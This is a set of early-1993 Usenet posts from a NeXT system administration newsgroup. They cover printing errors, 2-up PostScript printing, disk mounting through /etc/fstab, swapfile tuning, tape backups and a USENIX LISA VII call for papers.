Newsgroups: comp.sys.next.sysadmin From: b-bohlmann@.uiuc.edu (Brian Bohlmann) Subject: printing problem Message-ID: <C19oG2.CEr@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana Date: Fri, 22 Jan 1993 17:55:12 GMT Keywords: printing I am having a very strange problem with printing. system info: Cube with 68040 cpu NeXTPrinter 3.0 OS without developer package problem: it will intermittantly not print from either the command line using lpr or using the print tool from the menu's. The following show's up in the console window- Jan 22 11:42:22 kimber Server:Local_Printer[298]: DPS client library error: PostScript program error, DPSContext 562f8 Jan 22 11:42:22 kimber Server:Local_Printer[298]: %%[ Error: undefined; OffendingCommand: ^?NXTfr-400 ]%% I have tried rebooting which fixes the problem once in awhile but not consistantly then after awhile the problem reappears. I am printing normal files created on the local system. Has anyone seen this before or better yet, have a fix for it? thanks, -- Brian Bohlmann University of Illinois, Champaign/Urbana Computing & Communications Services Office email: bohlmann@ux1.cso.uiuc.edu phone: 217-244-5409 NeXTmail accepted
Newsgroups: comp.sys.next.sysadmin From: gary@nshade.uah.ualberta.ca (Gary Ritchie) Subject: Re: Slow 3.0 Network Message-ID: <1993Jan22.172123.27666@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Jan21.174416.1252@kakwa.ucs.ualberta.ca> Date: Fri, 22 Jan 1993 17:21:23 GMT In article <1993Jan21.174416.1252@kakwa.ucs.ualberta.ca> I wrote: > It seems that every time a user logs in, the Workspace does its scan of application directories, services, etc. Isn't it supposed to only do this the first time you log in, and cache it? I've had some responses telling me that there is a dwrite that will disable the automatic Workspace updating on login. Can anyone tell me exactly what it is, or where I can find out about it? --- Gary Ritchie
From: garity@MATH.ORST.EDU (Dennis Garity) Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin Subject: Printing Postscript files 2 to a page Keywords: Postscript, psnup Message-ID: <1jp9upINNn5c@gaia.ucs.orst.edu> Date: 22 Jan 93 17:12:56 GMT Article-I.D.: gaia.1jp9upINNn5c Organization: University Computing Services - Oregon State University I'm on a mixed network of Suns and NeXTs and have a question regarding printing postscript files (*.ps). On the Sun part of our system, we have a command, psnup, which takes a postscript file consisting of many pages and prints it 2, 4, or 8 pages to one page. Using Preview on the NeXT, the format option is disabled when working with a postscript file consisting of many pages. Is there a way to print postscript files directly from the NeXT 2,4 or 8 pages to one page? Any help would be greatly appreciated. Dennis Garity Mathematics Department Oregon State University
From: pierce@cantrell.tamu.edu (Pierce Cantrell) Newsgroups: comp.sys.next.sysadmin Subject: Re: Running Quotation and Webster from CD-ROM drive Date: 22 Jan 1993 18:43:52 GMT Organization: Texas A&M University, College Station, TX Distribution: world Message-ID: <1jpf98INNqt6@tamsun.tamu.edu> References: <1993Jan21.024935.9455@news.acns.nwu.edu> In article <1993Jan21.024935.9455@news.acns.nwu.edu> garyc@eecs.nwu.edu (Gary I. Chang) writes: > When I was trying to bring up Quotation from the CD-ROM > copy of Quotation, I got a error alert panel saying > "Couldn't open the Quotation index > (/NextLibrary/Reference/OxfordQuotation//.index/index)"...... > > I don't have any trouble with this. All I did was to delete /NextLibrary/References/OxfordQuotations and set up a link to the CD-ROM lrwxrwxrwx 1 root 53 Sep 26 13:14 OxfordQuotations -> /NeXTSTEP_3.0/NextLibrary/References/OxfordQuotations@ I did the same thing for Shakespeare and all the Developer documentation. -pierce -- Pierce E. Cantrell | cantrell@ee.tamu.edu Department of Electrical Engineering | Texas A&M University | tel: (409) 845-7441 College Station, Texas 77843-3128 | fax: (409) 845-6259
Newsgroups: comp.sys.next.sysadmin From: greg@donald.claremont.edu (Tigger) Subject: hard drive mounting Message-ID: <1993Jan22.192914.11041@muddcs.claremont.edu> Sender: news@muddcs.claremont.edu (The News System) Organization: Harvey Mudd College, Claremont, CA 91711 Date: Fri, 22 Jan 1993 19:29:14 GMT Okay. We finally bought a reasonable size external SCSI disk to supplement the little 105 that came with our NeXTstation. We installed NextStep on it and are now booting from it. So far, so good. Now I would like to reuse the 105 for something else. I have several ideas, but they all require that the disk mount into the Unix filesystem somewhere other than at the / level. Basically, I would like to override whatever is automatically mounting the sucker as /diskname and mount it somewhere else like I would do with any other Unix system. If this is in a FAQ file somewhere, or in the NextStep 2.x manuals (we don't have the 3.0 docs yet, just the OS), by all means please just point me in the right direction. Otherwise, if someone could be kind enough to tell me how to do this via e-mail, I will be happy to summarize to the group. Thanks. -- Greg Orman greg@pomona.claremont.edu Systems Manager NeXTmail: greg@donald.claremont.edu Seaver Academic Computing Services Pomona College Standard disclaimer-type stuff
Newsgroups: comp.sys.next.sysadmin From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Subject: Users - compacting mail Message-ID: <1993Jan22.203446.613@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Fri, 22 Jan 1993 20:34:46 GMT Is there any "easy" way to have the system go through and compact all of the user's Maiboxes on a system? ::::::::Apple II forever!!:::::::GO BUCKS!::::::::Play Lacrosse!!:::::::::: : Shane M. Zatezalo : i-net> szatezal@magnus.acs.ohio-state.edu : : CIS Eng Ohio State : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
From: petrilli@hal.gnu.ai.mit.edu (Chris Petrilli) Newsgroups: comp.sys.next.sysadmin Subject: Re: Great book on NFS Sysadmin Message-ID: <1jpkpdINNith@life.ai.mit.edu> Date: 22 Jan 93 20:17:49 GMT References: <16B5E779A.CCGREG@mizzou1.missouri.edu> <C19JBD.n21@ux1.cso.uiuc.edu> Organization: Department of Redundency Department In article <C19JBD.n21@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes: >I have this book and highly recommend it as well, but I read in OS >Today recently that he is going to issue a new edition sometime this >year that will cover NIS+. No big deal to most NeXT people but if >you have to manage (gag) Solaris systems, be on the lookout for it. I can highly recommend EVERY O'Reily book (I have just about everything they make, including the *GACK* X set), they seem to be the most up to dat, information filled books that I've seen on the shelves about every topic they cover. Some companies even ship their books as "standard documentation." Also, the UUCP/UseNet series is excellent, as is the RPC programming book. BTW, I have NO association with O'Reily except for giving them lots of my money :-) Chris PS: Thery even offer discounts when they update books. -- | Chris Petrilli ____ | petrilli@gnu.ai.mit.edu ``Quayle is a bozoe.'' \ / | I don't even speak for myself. \/
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: jpw@sansfoy.lib.virginia.edu (John Price-Wilkin) Subject: using mh to route messages on NeXT Message-ID: <1993Jan22.205546.4786@murdoch.acc.Virginia.EDU> Keywords: sendmail.cf Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Fri, 22 Jan 1993 20:55:46 GMT I'm running MH on a NeXT and am using it to automatically route messages to a series of filters. I've tested the MH configuration extensively, the filters, and the link between the two. Everything seems to work fine. In fact, everything does work fine when I send test messages from an RS/6000 to the NeXT, or from the same NeXT to itself. But when I send the messages from another NeXT (using the same sendmail.cf), it fails, complaining that there is no "open dbm" (for the user?). Does anyone have a clue why this would fail? John Price-Wilkin jpw@virginia.edu
From: alves@calvin.usc.edu (William Alves) Newsgroups: comp.sys.next.sysadmin Subject: Preventing Optical Disc Ejection Date: 22 Jan 1993 15:40:42 -0800 Organization: University of Southern California, Los Angeles, CA Message-ID: <1jq0lqINN15h@calvin.usc.edu> I teach a class for which we have a single stand-alone NeXT running OS 2.1. Security in the room with the NeXT is handled through a key sign-out procedure. Otherwise the students are unsupervised. Because of disk space limitations, I would like to have an optical disc mounted at all times. But because of the size, portability, and (now) expense of the optical discs, I am afraid that a student could easily walk out with it. So: Is there any way to prevent disc ejection for users without root access? Preferably, I would like to prevent it both from the Workspace menu as well as the Terminal. If not, is there something that can be done to physically prevent the disc from ejecting? Thanks for your help. Bill Alves
From: rawyatt@koh-sun8.usc.edu (Robert Alexander Wyatt) Newsgroups: comp.sys.next.sysadmin Subject: Display PostScript Book Date: 22 Jan 1993 17:10:22 -0800 Organization: University of Southern California, Los Angeles, CA Distribution: world Message-ID: <1jq5tuINN3m5@koh-sun8.usc.edu> Has anyone used/read Abode's book (published by Addison Wesley) on Display PostScript programming on NeXT? Any impressions? Thanks! -Rob
Newsgroups: comp.org.usenix,comp.unix.admin,comp.unix.large,comp.admin.policy,comp.sys.next.sysadmin,comp.sys.sun.admin,comp.sys.sgi.admin From: bjorn@sysadmin.com (Bjorn Satdeva) Subject: Call For Papaers: USENIX LISA VII System Administration Conference Message-ID: <1993Jan23.231447.16231@sysadmin.com> Organization: /sys/admin, inc. Date: Sat, 23 Jan 93 23:14:47 GMT ANNOUNCEMENT/CALL FOR PARTICIPATION 7th USENIX SYSTEMS ADMINISTRATION CONFERENCE (LISA VII) November 1-5, 1993 Marriott Hotel Monterey, California The annual LISA conference provides a forum in which system administrators meet to share ideas and experiences. A growing success for the past six years, LISA is the only conference which focuses specifically on the needs of system administrators. Its scope includes system administrators from sites of all sizes and configurations. TUTORIAL PROGRAM Monday and Tuesday, November 1-2, 1993 The two-day tutorial program at LISA VII is divided into three tracks with a total of twelve half-day tutorials. Attendees may move between tracks, choosing which sections most interest them. Tutorials offer expert instruction in areas of interest to system administrators, novice through experienced. Topics are expected to include Networking, Programming in Perl, X and the Administrator, the Domain Name System, Sendmail, and more. TECHNICAL SESSIONS Wednesday through Friday, November 3-5, 1993 "The Human Aspect of UNIX System Administration" is the theme of the first track of the conference technical sessions. Although papers of a more traditional technical content are also very welcome, the committee is especially seeking papers on areas such as creating policies and procedures, interacting with management and/or users, or which describe and evaluate methods aimed at improved communication with users and/or management. We are interested in papers which provide freely available or fully described solutions to existing problems. The second track of the conference technical sessions will be split between presentations on very large installation system administration and presentations of practical, experience-derived material of special interest to new system administrators. No simple measure defines "large installation." It could be number of hosts, number of users, size of network, amount of on-line storage, or some combination of these. The only certainty is that today's large will be tomorrow's standard. We wish to hear from sites which have unique problems and solutions relating to the management of large installations. We seek proposals for papers, panels, mini-workshops, or similar presentations for this track. We also seek papers, mini-workshops, or panel presentations of pragmatic material from experienced system administrators who wish to share their experiences, hardships and solutions. It is hoped that administrators at all levels can leverage this track to solve specific problems at their site. VENDOR DISPLAY Wednesday, November 3, 1993, 5 pm - 9 pm Well informed vendor representatives will demonstrate products and services useful to system and network administration at the informal table-top display accompanying the LISA Conference. If your company would like to participate, please contact Cynthia Deno at (408) 335-9445, FAX (408 335-2163, E-mail: cynthia@usenix.org CONFERENCE TOPICS The technical sessions program may include invited talks, panels, Works-In-Progress (WIP) reports, and Birds-Of-a-Feather (BOF) sessions, alongside the refereed paper presentations. The program committee invites you to submit informal proposals, ideas, or suggestions on any of the following or related topics: Implementation, usage, and strategies for Policies and Procedures Effects of improved communication with users and/or management. Tricks in user education How to develop Junior System Administrators System Security Monitoring Security issues, especially where multiple people are privileged users Heterogeneous system administration Human issues of administration Graphical User Interfaces for system administration Distributed system administration Network growth and performance management Network management Network monitoring Wireless LANs Evaluating performance of high-end workstations and servers Integration of heterogeneous systems Usage monitoring and accounting systems Administration of remote sites REFEREED PAPER SUBMISSIONS The committee requires that an extended abstract be submitted for the paper selection process. (Full-papers are not acceptable for this stage; if you send a full paper, you must also include an extended abstract for evaluation.) Your extended abstract should consist of a traditional abstract which summarizes the content/ideas of the entire paper, followed by a skeletal outline of the full paper. We require electronic (nroff/troff, TeX or ASCII) submission of the extended abstract. Authors of an accepted paper will present their paper at LISA VII and provide a final paper for publication in the Conference Proceedings. Final papers are limited to 20 pages, including diagrams, figures and appendix. Papers should include a brief description of the site (if applicable), an outline of the problem and issues, and details of the solution. Authors may provide electronic versions or camera-ready copy (instructions will be provided upon request) of final papers. Conference proceedings will be distributed to all conference attendees and will also be available from the USENIX Association after the conference. ADDRESS FOR SUBMISSIONS For submission of all proposals and of extended abstracts of refereed papers, and for program Information, contact: Program Chair: Bjorn Satdeva 2787 Moorpark Avenue San Jose, CA 95128 (408) 241-3111 E-mail: bjorn@sysadmin.com CONFERENCE COMMITTEE Bjorn Satdeva, /sys/admin, Inc., Program Chair Brent Chapman, Great Circle Associates Lee Damon, Castle PAUS Tina M. Darmohray, Lawrence Livermore National Labs Janet Frazer, UNIX System Laboratories, Inc. Helen Harrison, SAS Institute Dinah McNutt, Tivoli Systems Bryan McDonald, SRI International Arch Mott, Cisco Systems, Inc. Paul Moriarty, Cisco Systems, Inc. Jeff Polk, Berkeley Software Design, Inc, Greg Rose, Australian Computing and Communications Institute Peg Schafer, Bolt Beranek & Newman, Inc. Steve Simmons, Industrial Technology Institute Liza Y. Weissler, RAND Corporation Pat Wilson, Dartmouth College Elizabeth Zwicky, SRI International DATES FOR REFEREED PAPER SUBMISSIONS Extended Abstract Submission Deadline: July 2, 1993 Notification to Authors: July 23, 1993 Final Papers Receipt Deadline: Sept 7, 1993 FOR REGISTRATION INFORMATION Materials containing all details of the symposium program, symposium registration fees and forms, and hotel discount and reservation information will be mailed and posted to the net beginning August 1993. If you wish to receive registration materials, please contact: USENIX Conference Office 22672 Lambert Street, Suite 613 El Toro, CA 92630 USA (714) 588-8649; FAX: (714) 588-9706 E-mail: conference@usenix.org USENIX The UNIX and Advanced Computing Systems Professional and Technical Association -- Bjorn Satdeva -- email: bjorn@sysadmin.com /sys/admin, inc. The Unix System Management Experts (408) 241 3111
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: Re: Printing Postscript files 2 to a page Message-ID: <HARDY.93Jan22214900@golem.ps.uci.edu> In-reply-to: garity@MATH.ORST.EDU's message of 22 Jan 93 17:12:56 GMT Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA References: <1jp9upINNn5c@gaia.ucs.orst.edu> Date: 23 Jan 93 05:48:53 GMT 1. psnup is available on the NeXT too. 2. A better program is quarto (found on the archives), which allows you to print 2, 4, 8, ... pages to a page. I often do: dvips -f <file> | quarto -2b | lpr to get 2-to-a-page TeX output. -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
Organization: Sponsored account, Mathematics, Carnegie Mellon, Pittsburgh, PA Newsgroups: comp.sys.next.sysadmin Message-ID: <gfM=IQK00WA78JzhYa@andrew.cmu.edu> Date: Fri, 22 Jan 1993 22:01:48 -0500 From: David Apfelbaum <da0g+@andrew.cmu.edu> Subject: Boot option question? Does anyone out there know the boot option to enable the "pretty graphics" during booting (instead of all the useful bootup information)? (I have a friend who doesn't appreciate the information as much as I do... ;-) I assume it's a boot-option stored in the non-volatile memory, as changing the mother-board resets it. Alternatively, does anyone have a man page for fbshow? Thanks, -David. da0g+@andrew.cmu.edu
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: NeXTs running 3.0 *probably* cannot swap to a raw partition In-Reply-To: barry@ictv.com's message of Thu, 21 Jan 1993 19:50:03 GMT To: barry@ictv.com (Barry Lustig) Message-ID: <CEDMAN.93Jan21153237@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Jan21.195003.6023@ictv.com> Date: Thu, 21 Jan 1993 19:32:36 GMT In article <1993Jan21.195003.6023@ictv.com> barry@ictv.com (Barry Lustig) writes: There has been speculation recently about whether a NeXT can swap to a raw partition or not. I decided to do a little research on this point and found out that you cannot. The reason for this should be clear from the following: Current directory is / Reading symbol data from sdmach... (no debugging symbols found)...done. (gdb) disassemble swapon Dump of assembler code for function swapon: 0x4068288 <swapon>: rts End of assembler dump. (gdb) NeXT removed the code for the swapon system call from the kernel. They would have made life a lot easier for people if they also removed the call from the system library. Not quite so fast. All you found out that the BSD system call to enable swaping is a dummy call. From that one might conclude that the NeXT can not swap at all just as quickly as that it can not swap to a raw partition. Fortunately that is not so as virtual memory is one of the system services which is provided by Mach through the mach_swapon system call and not BSD on a NeXT. And mach_swapon is _not_ a dummy call. Careful analysis of this call and its subroutines might reveal that indeed it is impossible to swap to a raw partition (as I believe it is). This analysis is left as an exercise to the reader. Carl Edman
From: rawyatt@phakt.usc.edu (Robert Alexander Wyatt) Newsgroups: comp.sys.next.sysadmin Subject: Basic Swapfile Questions... Date: 23 Jan 1993 01:41:07 -0800 Organization: University of Southern California, Los Angeles, CA Distribution: world Message-ID: <1jr3rjINNf7l@phakt.usc.edu> Another swapfile question... Actually, I'm going to insult all of the NeXT geniuses and ask... What exactly is a swapfile and why do I have it? I know that it gets bigger and bigger...how can I wipe it out? Is there a terminal command? Can I simply erase it? I have limited disk space...my swapfile is 16MB and my swapfile.front is 37MB...what's the difference between the two? what are their purposes? That 50+ Meg sure could come in handy...(even a fraction of it...) Thanks a lot! Please email or post any responses! Later, Rob rawyatt@scf.usc.edu
From: rawyatt@phakt.usc.edu (Robert Alexander Wyatt) Newsgroups: comp.sys.next.sysadmin Subject: Basic RenderMan Questions... Date: 23 Jan 1993 01:41:29 -0800 Organization: University of Southern California, Los Angeles, CA Distribution: world Message-ID: <1jr3s9INNf8e@phakt.usc.edu> References: <1jr3rjINNf7l@phakt.usc.edu> Since I am on a roll tonight in posting questions, I'll finish up with a RenderMan post... Actually, I'm not sure what in the heck I'm doing, so I hope someone can give me a hand...(or at least some advice...) How do I set up my system as a renderer? I am using a stand-alone system at home...no networks or anything like that...what does the RenderManager app do? Whenever I try to use it, everything is grayed out and I can't make any selections...do I have to have Release 3 extended installed to use rendering? Any advice, help, etc. would be great! Thanks a lot! Please email or post any responses! Later, Rob rawyatt@scf.usc.edu
From: bpp@infoserv.com (Jonathan E. Ganz) Newsgroups: comp.sys.next.sysadmin Subject: Need help with MaxStream Tape Unit Keywords: tape backup MaxStream Maynard Archive Message-ID: <VLJTXB1w163w@bpp> Date: Fri, 22 Jan 93 23:21:06 PST Distribution: world Organization: Blank Page Productions Path: bpp From: bpp@infoserv.com (Jonathan E. Ganz) Newsgroups: comp.sys.next.admin Subject: need help with tape drive Keywords: Maxstream tape drive tar dump Message-ID: <a7wHXB1w163w@bpp> Date: Sat, 16 Jan 93 16:42:57 PST Distribution: world Organization: Blank Page Productions Hi, I'm trying to back up to a MAXSTREAM 250Q and nothing seems to work. I tried tar -c ./etc and got the error: /dev/rxt0: I/O error. Then I tried the dump command -- dump 0u ./etc and got the error: bad sblock magic number. Can some kind UNIX expert tell me what to do or suggest something? I tried more /dev/rxt0 and the light on the drive came on... I don't know if that makes any difference. Please reply to me and I'll summarize if there is interest. Please, please help! Thanks in advance!! Jonathan ============================================================= Jonathan E. Ganz tel/fax 415-327-6816 Pacific International (technical language services) Blank Page Productions bpp@infoserv.com P.O. Box 7035 ...uunet!infoserv.com!bpp Redwood City, CA 95054 ...uunet!CompuServe!74425.1054 ============================================================= PHILOSOPHY/DISCLAIMER: Call on God, but row away from rocks.
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: pcnfsd on the NeXT (3.0) Message-ID: <C1BCHB.I9t@newcastle.ac.uk> Date: 23 Jan 93 15:31:59 GMT Organization: University of Durham I am looking to get a running pcnfsd (latest version is 4.03c or something I think) for the NeXT. I've got a version compiled and apparently running, but no PC's are able to mount the drives that I'm exporting (but true nfs machines can). Help appreciated! -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE SUN Computers: "Nice chips, shame about her OS" "If a virtual tree falls in a virtual forest, does it make a virtual sound?"
From: alex@cs.umd.edu (Alex Blakemore) Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin Subject: Re: Printing Postscript files 2 to a page Keywords: Postscript, psnup Message-ID: <63650@mimsy.umd.edu> Date: 23 Jan 93 17:01:34 GMT References: <1jp9upINNn5c@gaia.ucs.orst.edu> Sender: news@mimsy.umd.edu Followup-To: comp.sys.next.software Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 In article <1jp9upINNn5c@gaia.ucs.orst.edu> garity@MATH.ORST.EDU (Dennis Garity) writes: > On the Sun part of our system, we have a command, psnup, > which takes a postscript file consisting of many pages > and prints it 2, 4, or 8 pages to one page. psnup comes with NeXT computers along with pslpr, pscat, enscript and other ps utilities. they have man pages and they seem to work. there is also a nice utility on the archives named quarto for this sort of thing. I agree it would be nice if Preview would let you change the layout this way. -- --------------------------------------------------- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: hard drive mounting (This should really be a FAQ!!!) Date: 23 Jan 1993 17:42:56 GMT Organization: University of Houston Message-ID: <1js030INN4d4@menudo.uh.edu> References: <1993Jan22.192914.11041@muddcs.claremont.edu> In article <1993Jan22.192914.11041@muddcs.claremont.edu> greg@donald.claremont.edu (Tigger) writes: #Okay. We finally bought a reasonable size external SCSI disk to supplement #the little 105 that came with our NeXTstation. We installed NextStep on it #and are now booting from it. So far, so good. # #Now I would like to reuse the 105 for something else. I have several ideas, #but they all require that the disk mount into the Unix filesystem somewhere #other than at the / level. Basically, I would like to override whatever is #automatically mounting the sucker as /diskname and mount it somewhere else #like I would do with any other Unix system. # #If this is in a FAQ file somewhere, or in the NextStep 2.x manuals (we don't #have the 3.0 docs yet, just the OS), by all means please just point me in #the right direction. Otherwise, if someone could be kind enough to tell me #how to do this via e-mail, I will be happy to summarize to the group. # #Thanks. # #-- #Greg Orman greg@pomona.claremont.edu #Systems Manager NeXTmail: greg@donald.claremont.edu #Seaver Academic Computing Services #Pomona College Standard disclaimer-type stuff Put the drive information in /etc/fstab as follows: I assume that your external drive is SCSI device 0 and your interal is SCSI device 1 (default address for internal HD in NeXTStations). If you use "bsd" to boot, then the NeXT will boot from the first SCSI device it finds, which would be the external drive since it has a lower id. The first SCSI device is /dev/(r)sd0a. The second is /dev/(r)sd1a. The third is /dev/(r)sd2a and so on. The second partion of the second device is /dev/(r)sd1b... If you look in your /etc/fstab you should see something like the following (the one below is from my workstation): # # DO NOT DELETE THIS FILE, IT IS REQUIRED FOR BOOTING # # This file contains information used to mount local hard disks. # Consult your system administration and networking manual # for information on adding local disks. Information on the format # of entries in this file can also be found in the fstab man page, # search for fstab in Digital Librarian. # /dev/sd0a / 4.3 rw,noquota,noauto 0 1 #/dev/sd1a /CD-Rom 4.3 ro,noquota 1 2 The lines beginning with a # are comments are are ignored. The line /dev/sd0a tells unix to mount the device /dev/sd0a (first SCSI device found) as / which is the root level and that it is a 4.3bsd filesystem, with read and write, no quotas and do not automount it. Add a line like /dev/sd1a /desired/path 4.3 rw,noquota 1 2 to your /etc/fstab and the internal disk will be mounted at /desired/path. Btw, the line with #/dev/sd1a /CD-Rom 4.3 ro,noquota 1 2 shows how I would mount a NS3.0 CD-Rom for exporting to the cluster (you must mount it READONLY!!). -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: Preventing Optical Disc Ejection Date: 23 Jan 1993 17:45:05 GMT Organization: University of Houston Message-ID: <1js071INN4gk@menudo.uh.edu> References: <1jq0lqINN15h@calvin.usc.edu> In article <1jq0lqINN15h@calvin.usc.edu> alves@calvin.usc.edu (William Alves) writes: #I teach a class for which we have a single stand-alone NeXT running #OS 2.1. Security in the room with the NeXT is handled through a key #sign-out procedure. Otherwise the students are unsupervised. Because #of disk space limitations, I would like to have an optical disc mounted #at all times. But because of the size, portability, and (now) expense #of the optical discs, I am afraid that a student could easily walk out #with it. So: # #Is there any way to prevent disc ejection for users without root access? #Preferably, I would like to prevent it both from the Workspace menu as #well as the Terminal. If not, is there something that can be done to #physically prevent the disc from ejecting? Thanks for your help. # #Bill Alves Yes. Have unix mount the drive during the boot process. You can do this by placing the proper information about the disk in the file /etc/fstab. Please see an earlier article "Re: hard drive mounting" that I just posted. It should also apply to Optical disks. -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin Subject: Re: Basic Swapfile Questions... Message-ID: <SCOTT.93Jan23113424@nic.gac.edu> From: scott@nic.gac.edu (Scott Hess) Date: 23 Jan 93 11:34:24 References: <1jr3rjINNf7l@phakt.usc.edu> Distribution: world Organization: Is a sign of weakness In-reply-to: rawyatt@phakt.usc.edu's message of 23 Jan 1993 01:41:07 -0800 In article <1jr3rjINNf7l@phakt.usc.edu> rawyatt@phakt.usc.edu (Robert Alexander Wyatt) writes: >Actually, I'm going to insult all of the NeXT geniuses and ask... >What exactly is a swapfile and why do I have it? I know that it >gets bigger and bigger...how can I wipe it out? Is there a terminal >command? Can I simply erase it? In essence, swapfile is the memory that you can't afford to buy. The swapfile is the "where" of virtual memory, so when your on-board memory is full and you tell your machine that you want to launch something else, it has to put what is already in memory somewhere else so that the new program can be loaded. So on my 32M machine, for instance, I might go a week without the swapfile rising above my 12M lowat mark (see below), mainly because most "normal" programs run fine in 32M (monochrome development system - your mileage will vary if you use color or Mathematica :-). In other words, _don't_ wipe it out. You don't want to, and really really bad things will happen if you do, with programs running out of memory and crashing all over the place for no _apparent_ reason. What you should do is edit the entries in /etc/swaptab so that your lowat is set to a lower number, so that on reboot you reclaim some space. For instance, one of these lines: /private/vm/swapfile lowat=8388608 # 8 Meg low water mark /private/vm/swapfile lowat=12582912 # 12 Meg low water mark /private/vm/swapfile lowat=20971520 # 20 Meg low water mark # ^^^^ this is a tab^^ The tabs _are_ important. The third line is the default low water mark. Note that some people are going to describe methods of deleting the files via rm. Do _not_ do this. At build time, the NeXT utilities allocate all of the disk space for the swapfile in more or less contiguous areas, which means that swapfile can be read from and written to faster than if you just placed the blocks in an on-demand fashion. So, you are far better off to adjust the lowat mark to an acceptable value, in which case the first lowat bytes of swapfile will be fast. If you delete it and then recreate it empty, you'll find that your system _will_ become slower when you start biting into the swapfile, possibly significantly slower if you don't have much disk space to work with (BSD FFS does better with more free areas to work with). You can reallocate space using the mkfile command, but unfortunately there is no time quite as good as build-time to do this ... >I have limited disk space...my swapfile is 16MB and my swapfile.front >is 37MB...what's the difference between the two? what are their >purposes? That 50+ Meg sure could come in handy...(even a fraction >of it...) swapfile and swapfile.front are two views of one and the same file. So, you've really only "lost" 16M. Later, -- scott hess <shess@ssesco.com> <To the BatCube, Robin> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
Newsgroups: comp.sys.next.misc,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin From: anderson@macc.wisc.edu (Jess Anderson) Subject: Drive drive Message-ID: <1993Jan23.194204.15246@macc.wisc.edu> Followup-To: comp.sys.next.misc Sender: news@macc.wisc.edu (USENET News System) Organization: Madison Academic Computing Center, UW-Madison Date: Sat, 23 Jan 93 19:42:04 GMT Note_1: Followups directed to comp.sys.next.misc, to keep subsequent discussion in one place. Sorry for the massive cross-posting, wanted to reach the maximum readership. Note_2: An earlier posting about this already appeared in comp.sys.next.misc. This is a restatement and expansion of that. Background: Several people have suggested solving the archive server space crunch by asking users to kick in money to purchase additional drives for sonata and orst. I've volunteered to collect pledges and to contact Purdue and Oregon State to see what they think of the idea. I'll do that at the beginning of next week. Five people pledged money in the first hour, six counting me. The amounts so far are like $10-$20 for each server site. Respondents so far think it's a cool idea and are making other useful suggestions too. I'll also be contacting vendors to see if they can make us a special deal, if things develop to the point when it looks like it might work. I'm not collecting money (not yet, anyway), so don't send any. If you're interested in this, just send me email (rather than posting, I might miss it) with the amount of your pledge. If you're a developer who has or intends to have your software on these servers, please indicate your product names as well. Although this seems to be an idea whose time has come, please be aware that the universities involved might not be as enthusiastic about it as we are. There are always bureaucracies, policy implications, and hidden costs to be involved in such enterprises, as well I know, having worked at universities for 40 years. But don't let those things stop you from offering. One thing: please don't make a pledge unless you mean it. In the interest of not getting myself overloaded, I will send you a simple ACK to say I got your message. -- [Jess Anderson <> Madison Academic Computing Center <> University of Wisconsin] [Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson] [Room 3130 <> 1210 West Dayton Street / Madison WI 53706 <> Phone 608/262-5888] [---------> Discrimination, Bigotry, and Hate are not Family Values <---------]
Newsgroups: comp.sys.next.sysadmin From: henry@trilithon.mpk.ca.us (Henry McGilton) Subject: Re: Display PostScript Book Message-ID: <1993Jan23.173231.23571@trilithon.mpk.ca.us> Sender: henry@trilithon.mpk.ca.us Organization: Trilithon Software References: <1jq5tuINN3m5@koh-sun8.usc.edu> Date: Sat, 23 Jan 1993 17:32:31 GMT In article <1jq5tuINN3m5@koh-sun8.usc.edu> writes: * Has anyone used/read Abode's book (published by Addison Wesley) on * Display PostScript programming on NeXT? Any impressions? Yes -- it's a very good book. It is in fact a gathering together of a series of technical papers on various topics of Display PostScript, such as when to use user objects, when to use user paths, when to use fonts versus drawing objects individually, and so on. The book provides valuable insights into optimum ways to do things. ........ Henry
